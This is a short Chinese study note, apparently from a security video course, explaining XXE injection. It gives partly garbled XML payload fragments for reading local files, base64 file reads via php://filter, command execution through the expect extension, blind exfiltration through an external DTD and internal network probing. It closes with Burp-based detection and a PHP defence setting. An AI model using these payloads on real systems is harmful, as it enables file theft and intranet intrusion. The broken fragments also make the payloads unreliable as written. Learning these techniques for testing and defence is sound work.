xxe漏洞(简单理解)外部实体化注入
页面之间使用xml语句进行数据的传递,在xml中插入对应外部实体可以实现文件的读取,端口访问等
]>
&xxe;
<?xml version = "1.0"?>]>
&xxe;
]>
&xxe;
即可读取到d://a.txt的内容
<?xml version = "1.0"?>]>
&xxe;
]>
&xxe;
即可读取到d:/a/a.txt下面的a.txt内容
在这两端简单的xml注入语句中,路径中的/与//效果一致(d://a.txt,d://a/a.txt),可以进行某些绕过
命令执行 (目标主机需要安装 expect 扩展)
<?xml version = "1.0"?>]>
&xxe;
间接读取文件方法
引用data,目标主机上的data(需要先上传.dtd文件,比较鸡肋)
%file;
]>
&send;
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">毫无疑问,以上漏洞需要绝对路径
<?xml version="1.0" ?> <!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=a.txt">]>
&sp;hj
]>
&tianxia;
此段代码以base64编码形式返回与本页面相同路径下的a.txt中的内容
]>
&tianxia;
访问上一级的a.txt内容
关于无回显的xml注入
在本机搭建index.php接受data传入的参数,添加test.dtd如下文,原理:将获取到的text.txt通过本地的dad文件传送到index.php中
%dtd;
%send;
]>
test.dtd:
%payload;
内网方面的利用:如果本地访问不了内网其他主机,在http://192.168.0.103:8081/index.txt此位置添加对应的函数sql注入等(都查询出来内网主机的ip和对应端口漏洞,使用这个略显鸡肋)
-内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >]>
&rabbit;
标志:使用burpsuit抓包如果数据包中存在content-type:xml即有可能存在xml注入
使用bp中的spider模块执行探测,爬取完之后,使用搜索对存在xml字符的页面进行检测即可
防御方法:将libxml_disable_entity_loader设置为TRUE来禁用外部实体
本文为小迪视频的笔记